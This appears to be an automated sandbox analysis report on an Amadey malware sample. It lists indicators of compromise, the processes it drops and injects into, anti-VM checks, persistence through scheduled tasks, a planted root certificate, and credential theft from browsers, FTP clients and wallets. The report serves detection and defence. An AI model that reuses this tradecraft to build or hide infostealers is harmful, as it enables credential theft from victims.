amadey | a7520e97207fb16c2255f158ffec237fb4d312b7e4197505e8e645cd284e1af6

Virtualization/Sandbox Evasion

Processes:

a7520e97207fb16c2255f158ffec237fb4d312b7e4197505e8e645cd284e1af6.exechrosha.exeRaQZo7E9Ea07wxDMboQvHfLx.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	a7520e97207fb16c2255f158ffec237fb4d312b7e4197505e8e645cd284e1af6.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	chrosha.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	RaQZo7E9Ea07wxDMboQvHfLx.exe

Blocklisted process makes network request 3 IoCs

Processes:

rundll32.exerundll32.exe

flow pid process

87 640 rundll32.exe
119 1352 rundll32.exe
87 640 rundll32.exe
Downloads MZ/PE file
Modifies Windows Firewall 2 TTPs 2 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exenetsh.exe

pid process

1028 netsh.exe
2032 netsh.exe

flow	pid	process
87	640	rundll32.exe
119	1352	rundll32.exe
87	640	rundll32.exe

pid	process
1028	netsh.exe
2032	netsh.exe

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

chrosha.exeRaQZo7E9Ea07wxDMboQvHfLx.exeInstall.exeInstall.exea7520e97207fb16c2255f158ffec237fb4d312b7e4197505e8e645cd284e1af6.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	chrosha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	chrosha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	RaQZo7E9Ea07wxDMboQvHfLx.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	RaQZo7E9Ea07wxDMboQvHfLx.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	a7520e97207fb16c2255f158ffec237fb4d312b7e4197505e8e645cd284e1af6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	a7520e97207fb16c2255f158ffec237fb4d312b7e4197505e8e645cd284e1af6.exe

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Install.exechrosha.exeRegAsm.exeNewB.exeSKxhsQFVyRhWLSBZtiZTnXZ4.exeInstall.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Control Panel\International\Geo\Nation	Install.exe
Key value queried	\REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Control Panel\International\Geo\Nation	chrosha.exe
Key value queried	\REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Control Panel\International\Geo\Nation	RegAsm.exe
Key value queried	\REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Control Panel\International\Geo\Nation	NewB.exe
Key value queried	\REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Control Panel\International\Geo\Nation	SKxhsQFVyRhWLSBZtiZTnXZ4.exe
Key value queried	\REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Control Panel\International\Geo\Nation	Install.exe

Executes dropped EXE 32 IoCs

Processes:

chrosha.exeswiiiii.exealexxxxxxxx.exeTraffic.exepropro.exegold.exeNewB.exejok.exeswiiii.exe070.exeis-0782P.tmpcddvdrunner2333.exeStartup.execddvdrunner2333.exefile300un.exeSKxhsQFVyRhWLSBZtiZTnXZ4.exeTQSycEbNXFxSJmFpop9t4XXW.exe8hasC0wvPdAPkdQFt6QZWlvW.exeRaQZo7E9Ea07wxDMboQvHfLx.exeFZyrYyR9Bzg7BMdiDOZd7Jjf.exeu3wg.0.exeInstall.exePbr6dH6cOOHSOPZoLxkmpTn1.exeInstall.exeV1Pf1iDyXvGthIsvnbZgpXEi.exeu3wg.3.exeV1Pf1iDyXvGthIsvnbZgpXEi.exeV1Pf1iDyXvGthIsvnbZgpXEi.exeV1Pf1iDyXvGthIsvnbZgpXEi.exeV1Pf1iDyXvGthIsvnbZgpXEi.exe8hasC0wvPdAPkdQFt6QZWlvW.exeTQSycEbNXFxSJmFpop9t4XXW.exe

pid	process
3104	chrosha.exe
5772	swiiiii.exe
4068	alexxxxxxxx.exe
684	Traffic.exe
5204	propro.exe
1576	gold.exe
5284	NewB.exe
3204	jok.exe
3092	swiiii.exe
5780	070.exe
3404	is-0782P.tmp
1384	cddvdrunner2333.exe
2848	Startup.exe
4704	cddvdrunner2333.exe
712	file300un.exe
5056	SKxhsQFVyRhWLSBZtiZTnXZ4.exe
2668	TQSycEbNXFxSJmFpop9t4XXW.exe
5528	8hasC0wvPdAPkdQFt6QZWlvW.exe
1168	RaQZo7E9Ea07wxDMboQvHfLx.exe
5200	FZyrYyR9Bzg7BMdiDOZd7Jjf.exe
1348	u3wg.0.exe
2860	Install.exe
368	Pbr6dH6cOOHSOPZoLxkmpTn1.exe
4012	Install.exe
1652	V1Pf1iDyXvGthIsvnbZgpXEi.exe
5172	u3wg.3.exe
4508	V1Pf1iDyXvGthIsvnbZgpXEi.exe
2700	V1Pf1iDyXvGthIsvnbZgpXEi.exe
1156	V1Pf1iDyXvGthIsvnbZgpXEi.exe
5328	V1Pf1iDyXvGthIsvnbZgpXEi.exe
1536	8hasC0wvPdAPkdQFt6QZWlvW.exe
4584	TQSycEbNXFxSJmFpop9t4XXW.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

a7520e97207fb16c2255f158ffec237fb4d312b7e4197505e8e645cd284e1af6.exechrosha.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Software\Wine	a7520e97207fb16c2255f158ffec237fb4d312b7e4197505e8e645cd284e1af6.exe
Key opened	\REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Software\Wine	chrosha.exe

Loads dropped DLL 11 IoCs

Processes:

is-0782P.tmprundll32.exerundll32.exeRegAsm.exerundll32.exeV1Pf1iDyXvGthIsvnbZgpXEi.exeV1Pf1iDyXvGthIsvnbZgpXEi.exeV1Pf1iDyXvGthIsvnbZgpXEi.exeV1Pf1iDyXvGthIsvnbZgpXEi.exeV1Pf1iDyXvGthIsvnbZgpXEi.exe

pid	process
3404	is-0782P.tmp
2632	rundll32.exe
640	rundll32.exe
2836	RegAsm.exe
2836	RegAsm.exe
1352	rundll32.exe
1652	V1Pf1iDyXvGthIsvnbZgpXEi.exe
4508	V1Pf1iDyXvGthIsvnbZgpXEi.exe
2700	V1Pf1iDyXvGthIsvnbZgpXEi.exe
1156	V1Pf1iDyXvGthIsvnbZgpXEi.exe
5328	V1Pf1iDyXvGthIsvnbZgpXEi.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

Processes:

RaQZo7E9Ea07wxDMboQvHfLx.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	RaQZo7E9Ea07wxDMboQvHfLx.exe

Enumerates connected drives 3 TTPs 4 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

V1Pf1iDyXvGthIsvnbZgpXEi.exeV1Pf1iDyXvGthIsvnbZgpXEi.exe

description	ioc	process
File opened (read-only)	\??\D:	V1Pf1iDyXvGthIsvnbZgpXEi.exe
File opened (read-only)	\??\F:	V1Pf1iDyXvGthIsvnbZgpXEi.exe
File opened (read-only)	\??\D:	V1Pf1iDyXvGthIsvnbZgpXEi.exe
File opened (read-only)	\??\F:	V1Pf1iDyXvGthIsvnbZgpXEi.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

85 pastebin.com
86 pastebin.com
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

123 api.myip.com
124 api.myip.com
125 ipinfo.io
126 ipinfo.io

flow	ioc
85	pastebin.com
86	pastebin.com

flow	ioc
123	api.myip.com
124	api.myip.com
125	ipinfo.io
126	ipinfo.io

Drops file in System32 directory 4 IoCs

Processes:

RaQZo7E9Ea07wxDMboQvHfLx.exe

description	ioc	process
File opened for modification	C:\Windows\System32\GroupPolicy	RaQZo7E9Ea07wxDMboQvHfLx.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	RaQZo7E9Ea07wxDMboQvHfLx.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	RaQZo7E9Ea07wxDMboQvHfLx.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	RaQZo7E9Ea07wxDMboQvHfLx.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

Processes:

a7520e97207fb16c2255f158ffec237fb4d312b7e4197505e8e645cd284e1af6.exechrosha.exeRaQZo7E9Ea07wxDMboQvHfLx.exe

pid process

4616 a7520e97207fb16c2255f158ffec237fb4d312b7e4197505e8e645cd284e1af6.exe
3104 chrosha.exe
1168 RaQZo7E9Ea07wxDMboQvHfLx.exe

Suspicious use of SetThreadContext 5 IoCs

Processes:

swiiiii.exealexxxxxxxx.exegold.exeswiiii.exefile300un.exe

description	pid	process	target process
PID 5772 set thread context of 2500	5772	swiiiii.exe	RegAsm.exe
PID 4068 set thread context of 4912	4068	alexxxxxxxx.exe	RegAsm.exe
PID 1576 set thread context of 864	1576	gold.exe	RegAsm.exe
PID 3092 set thread context of 2836	3092	swiiii.exe	RegAsm.exe
PID 712 set thread context of 3152	712	file300un.exe	AddInProcess32.exe

Drops file in Windows directory 3 IoCs

Processes:

a7520e97207fb16c2255f158ffec237fb4d312b7e4197505e8e645cd284e1af6.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\chrosha.job	a7520e97207fb16c2255f158ffec237fb4d312b7e4197505e8e645cd284e1af6.exe
File created	C:\Windows\Tasks\bWycNackLSywaqkmgR.job	schtasks.exe
File opened for modification	C:\Windows\Tasks\bWycNackLSywaqkmgR.job	schtasks.exe

Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exe

pid process

3176 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

pid pid_target process target process

1384 5772 WerFault.exe swiiiii.exe
1064 1348 WerFault.exe u3wg.0.exe
1420 5056 WerFault.exe SKxhsQFVyRhWLSBZtiZTnXZ4.exe

pid	process
3176	sc.exe

pid	pid_target	process	target process
1384	5772	WerFault.exe	swiiiii.exe
1064	1348	WerFault.exe	u3wg.0.exe
1420	5056	WerFault.exe	SKxhsQFVyRhWLSBZtiZTnXZ4.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

u3wg.3.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u3wg.3.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u3wg.3.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u3wg.3.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

RegAsm.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe

Creates scheduled task(s) 1 TTPs 14 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
5716	schtasks.exe
3728	schtasks.exe
1340	schtasks.exe
2404	schtasks.exe
2496	schtasks.exe
5536	schtasks.exe
712	schtasks.exe
4048	schtasks.exe
5288	schtasks.exe
5000	schtasks.exe
224	schtasks.exe
3996	schtasks.exe
776	schtasks.exe
5460	schtasks.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

Processes:

Install.exeInstall.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

propro.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	propro.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	propro.exe

Suspicious behavior: EnumeratesProcesses 59 IoCs

Processes:

a7520e97207fb16c2255f158ffec237fb4d312b7e4197505e8e645cd284e1af6.exechrosha.exeRegAsm.exeTraffic.exerundll32.exefile300un.exepropro.exeRegAsm.exepowershell.exejok.exepowershell.exepowershell.exepowershell.exepowershell.exeTQSycEbNXFxSJmFpop9t4XXW.exe8hasC0wvPdAPkdQFt6QZWlvW.exe

pid	process
4616	a7520e97207fb16c2255f158ffec237fb4d312b7e4197505e8e645cd284e1af6.exe
4616	a7520e97207fb16c2255f158ffec237fb4d312b7e4197505e8e645cd284e1af6.exe
3104	chrosha.exe
3104	chrosha.exe
2836	RegAsm.exe
2836	RegAsm.exe
684	Traffic.exe
684	Traffic.exe
640	rundll32.exe
640	rundll32.exe
640	rundll32.exe
640	rundll32.exe
640	rundll32.exe
640	rundll32.exe
712	file300un.exe
712	file300un.exe
5204	propro.exe
5204	propro.exe
864	RegAsm.exe
864	RegAsm.exe
640	rundll32.exe
640	rundll32.exe
640	rundll32.exe
640	rundll32.exe
5204	propro.exe
5204	propro.exe
5204	propro.exe
5204	propro.exe
864	RegAsm.exe
864	RegAsm.exe
2836	RegAsm.exe
2836	RegAsm.exe
5044	powershell.exe
5044	powershell.exe
864	RegAsm.exe
864	RegAsm.exe
5044	powershell.exe
3204	jok.exe
3204	jok.exe
3204	jok.exe
3204	jok.exe
3204	jok.exe
3204	jok.exe
4648	powershell.exe
4648	powershell.exe
4648	powershell.exe
5068	powershell.exe
5068	powershell.exe
5068	powershell.exe
5556	powershell.exe
5556	powershell.exe
5556	powershell.exe
6096	powershell.exe
6096	powershell.exe
6096	powershell.exe
2668	TQSycEbNXFxSJmFpop9t4XXW.exe
2668	TQSycEbNXFxSJmFpop9t4XXW.exe
5528	8hasC0wvPdAPkdQFt6QZWlvW.exe
5528	8hasC0wvPdAPkdQFt6QZWlvW.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Traffic.exefile300un.exepropro.exeRegAsm.exeAddInProcess32.exepowershell.exejok.exepowershell.exeRegAsm.exepowershell.exeWMIC.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	684	Traffic.exe
Token: SeBackupPrivilege	684	Traffic.exe
Token: SeSecurityPrivilege	684	Traffic.exe
Token: SeSecurityPrivilege	684	Traffic.exe
Token: SeSecurityPrivilege	684	Traffic.exe
Token: SeSecurityPrivilege	684	Traffic.exe
Token: SeDebugPrivilege	712	file300un.exe
Token: SeDebugPrivilege	5204	propro.exe
Token: SeDebugPrivilege	864	RegAsm.exe
Token: SeDebugPrivilege	3152	AddInProcess32.exe
Token: SeDebugPrivilege	5044	powershell.exe
Token: SeDebugPrivilege	3204	jok.exe
Token: SeDebugPrivilege	4648	powershell.exe
Token: SeDebugPrivilege	4912	RegAsm.exe
Token: SeDebugPrivilege	5068	powershell.exe
Token: SeIncreaseQuotaPrivilege	2528	WMIC.exe
Token: SeSecurityPrivilege	2528	WMIC.exe
Token: SeTakeOwnershipPrivilege	2528	WMIC.exe
Token: SeLoadDriverPrivilege	2528	WMIC.exe
Token: SeSystemProfilePrivilege	2528	WMIC.exe
Token: SeSystemtimePrivilege	2528	WMIC.exe
Token: SeProfSingleProcessPrivilege	2528	WMIC.exe
Token: SeIncBasePriorityPrivilege	2528	WMIC.exe
Token: SeCreatePagefilePrivilege	2528	WMIC.exe
Token: SeBackupPrivilege	2528	WMIC.exe
Token: SeRestorePrivilege	2528	WMIC.exe
Token: SeShutdownPrivilege	2528	WMIC.exe
Token: SeDebugPrivilege	2528	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2528	WMIC.exe
Token: SeRemoteShutdownPrivilege	2528	WMIC.exe
Token: SeUndockPrivilege	2528	WMIC.exe
Token: SeManageVolumePrivilege	2528	WMIC.exe
Token: 33	2528	WMIC.exe
Token: 34	2528	WMIC.exe
Token: 35	2528	WMIC.exe
Token: 36	2528	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2528	WMIC.exe
Token: SeSecurityPrivilege	2528	WMIC.exe
Token: SeTakeOwnershipPrivilege	2528	WMIC.exe
Token: SeLoadDriverPrivilege	2528	WMIC.exe
Token: SeSystemProfilePrivilege	2528	WMIC.exe
Token: SeSystemtimePrivilege	2528	WMIC.exe
Token: SeProfSingleProcessPrivilege	2528	WMIC.exe
Token: SeIncBasePriorityPrivilege	2528	WMIC.exe
Token: SeCreatePagefilePrivilege	2528	WMIC.exe
Token: SeBackupPrivilege	2528	WMIC.exe
Token: SeRestorePrivilege	2528	WMIC.exe
Token: SeShutdownPrivilege	2528	WMIC.exe
Token: SeDebugPrivilege	2528	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2528	WMIC.exe
Token: SeRemoteShutdownPrivilege	2528	WMIC.exe
Token: SeUndockPrivilege	2528	WMIC.exe
Token: SeManageVolumePrivilege	2528	WMIC.exe
Token: 33	2528	WMIC.exe
Token: 34	2528	WMIC.exe
Token: 35	2528	WMIC.exe
Token: 36	2528	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3696	WMIC.exe
Token: SeSecurityPrivilege	3696	WMIC.exe
Token: SeTakeOwnershipPrivilege	3696	WMIC.exe
Token: SeLoadDriverPrivilege	3696	WMIC.exe
Token: SeSystemProfilePrivilege	3696	WMIC.exe
Token: SeSystemtimePrivilege	3696	WMIC.exe
Token: SeProfSingleProcessPrivilege	3696	WMIC.exe

Suspicious use of FindShellTrayWindow 7 IoCs

Processes:

u3wg.3.exe

pid process

5172 u3wg.3.exe
5172 u3wg.3.exe
5172 u3wg.3.exe
5172 u3wg.3.exe
5172 u3wg.3.exe
5172 u3wg.3.exe
5172 u3wg.3.exe
Suspicious use of SendNotifyMessage 7 IoCs

Processes:

u3wg.3.exe

pid process

5172 u3wg.3.exe
5172 u3wg.3.exe
5172 u3wg.3.exe
5172 u3wg.3.exe
5172 u3wg.3.exe
5172 u3wg.3.exe
5172 u3wg.3.exe

pid	process
5172	u3wg.3.exe
5172	u3wg.3.exe
5172	u3wg.3.exe
5172	u3wg.3.exe
5172	u3wg.3.exe
5172	u3wg.3.exe
5172	u3wg.3.exe

pid	process
5172	u3wg.3.exe
5172	u3wg.3.exe
5172	u3wg.3.exe
5172	u3wg.3.exe
5172	u3wg.3.exe
5172	u3wg.3.exe
5172	u3wg.3.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

chrosha.exeswiiiii.exealexxxxxxxx.exeRegAsm.exegold.exeNewB.exeswiiii.exe070.exe

description	pid	process	target process
PID 3104 wrote to memory of 5772	3104	chrosha.exe	swiiiii.exe
PID 3104 wrote to memory of 5772	3104	chrosha.exe	swiiiii.exe
PID 3104 wrote to memory of 5772	3104	chrosha.exe	swiiiii.exe
PID 5772 wrote to memory of 2500	5772	swiiiii.exe	RegAsm.exe
PID 5772 wrote to memory of 2500	5772	swiiiii.exe	RegAsm.exe
PID 5772 wrote to memory of 2500	5772	swiiiii.exe	RegAsm.exe
PID 5772 wrote to memory of 2500	5772	swiiiii.exe	RegAsm.exe
PID 5772 wrote to memory of 2500	5772	swiiiii.exe	RegAsm.exe
PID 5772 wrote to memory of 2500	5772	swiiiii.exe	RegAsm.exe
PID 5772 wrote to memory of 2500	5772	swiiiii.exe	RegAsm.exe
PID 5772 wrote to memory of 2500	5772	swiiiii.exe	RegAsm.exe
PID 5772 wrote to memory of 2500	5772	swiiiii.exe	RegAsm.exe
PID 3104 wrote to memory of 4068	3104	chrosha.exe	alexxxxxxxx.exe
PID 3104 wrote to memory of 4068	3104	chrosha.exe	alexxxxxxxx.exe
PID 3104 wrote to memory of 4068	3104	chrosha.exe	alexxxxxxxx.exe
PID 4068 wrote to memory of 4912	4068	alexxxxxxxx.exe	RegAsm.exe
PID 4068 wrote to memory of 4912	4068	alexxxxxxxx.exe	RegAsm.exe
PID 4068 wrote to memory of 4912	4068	alexxxxxxxx.exe	RegAsm.exe
PID 4068 wrote to memory of 4912	4068	alexxxxxxxx.exe	RegAsm.exe
PID 4068 wrote to memory of 4912	4068	alexxxxxxxx.exe	RegAsm.exe
PID 4068 wrote to memory of 4912	4068	alexxxxxxxx.exe	RegAsm.exe
PID 4068 wrote to memory of 4912	4068	alexxxxxxxx.exe	RegAsm.exe
PID 4068 wrote to memory of 4912	4068	alexxxxxxxx.exe	RegAsm.exe
PID 4912 wrote to memory of 684	4912	RegAsm.exe	Traffic.exe
PID 4912 wrote to memory of 684	4912	RegAsm.exe	Traffic.exe
PID 4912 wrote to memory of 5204	4912	RegAsm.exe	propro.exe
PID 4912 wrote to memory of 5204	4912	RegAsm.exe	propro.exe
PID 4912 wrote to memory of 5204	4912	RegAsm.exe	propro.exe
PID 3104 wrote to memory of 1576	3104	chrosha.exe	gold.exe
PID 3104 wrote to memory of 1576	3104	chrosha.exe	gold.exe
PID 3104 wrote to memory of 1576	3104	chrosha.exe	gold.exe
PID 1576 wrote to memory of 864	1576	gold.exe	RegAsm.exe
PID 1576 wrote to memory of 864	1576	gold.exe	RegAsm.exe
PID 1576 wrote to memory of 864	1576	gold.exe	RegAsm.exe
PID 1576 wrote to memory of 864	1576	gold.exe	RegAsm.exe
PID 1576 wrote to memory of 864	1576	gold.exe	RegAsm.exe
PID 1576 wrote to memory of 864	1576	gold.exe	RegAsm.exe
PID 1576 wrote to memory of 864	1576	gold.exe	RegAsm.exe
PID 1576 wrote to memory of 864	1576	gold.exe	RegAsm.exe
PID 3104 wrote to memory of 5284	3104	chrosha.exe	NewB.exe
PID 3104 wrote to memory of 5284	3104	chrosha.exe	NewB.exe
PID 3104 wrote to memory of 5284	3104	chrosha.exe	NewB.exe
PID 5284 wrote to memory of 1340	5284	NewB.exe	schtasks.exe
PID 5284 wrote to memory of 1340	5284	NewB.exe	schtasks.exe
PID 5284 wrote to memory of 1340	5284	NewB.exe	schtasks.exe
PID 3104 wrote to memory of 3204	3104	chrosha.exe	jok.exe
PID 3104 wrote to memory of 3204	3104	chrosha.exe	jok.exe
PID 3104 wrote to memory of 3204	3104	chrosha.exe	jok.exe
PID 3104 wrote to memory of 3092	3104	chrosha.exe	swiiii.exe
PID 3104 wrote to memory of 3092	3104	chrosha.exe	swiiii.exe
PID 3104 wrote to memory of 3092	3104	chrosha.exe	swiiii.exe
PID 3092 wrote to memory of 2836	3092	swiiii.exe	RegAsm.exe
PID 3092 wrote to memory of 2836	3092	swiiii.exe	RegAsm.exe
PID 3092 wrote to memory of 2836	3092	swiiii.exe	RegAsm.exe
PID 3092 wrote to memory of 2836	3092	swiiii.exe	RegAsm.exe
PID 3092 wrote to memory of 2836	3092	swiiii.exe	RegAsm.exe
PID 3092 wrote to memory of 2836	3092	swiiii.exe	RegAsm.exe
PID 3092 wrote to memory of 2836	3092	swiiii.exe	RegAsm.exe
PID 3092 wrote to memory of 2836	3092	swiiii.exe	RegAsm.exe
PID 3092 wrote to memory of 2836	3092	swiiii.exe	RegAsm.exe
PID 5284 wrote to memory of 5780	5284	NewB.exe	070.exe
PID 5284 wrote to memory of 5780	5284	NewB.exe	070.exe
PID 5284 wrote to memory of 5780	5284	NewB.exe	070.exe
PID 5780 wrote to memory of 3404	5780	070.exe	is-0782P.tmp

C:\Users\Admin\AppData\Local\Temp\a7520e97207fb16c2255f158ffec237fb4d312b7e4197505e8e645cd284e1af6.exe
"C:\Users\Admin\AppData\Local\Temp\a7520e97207fb16c2255f158ffec237fb4d312b7e4197505e8e645cd284e1af6.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
PID:4616

C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe
C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3104
- C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe
  "C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:5772
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
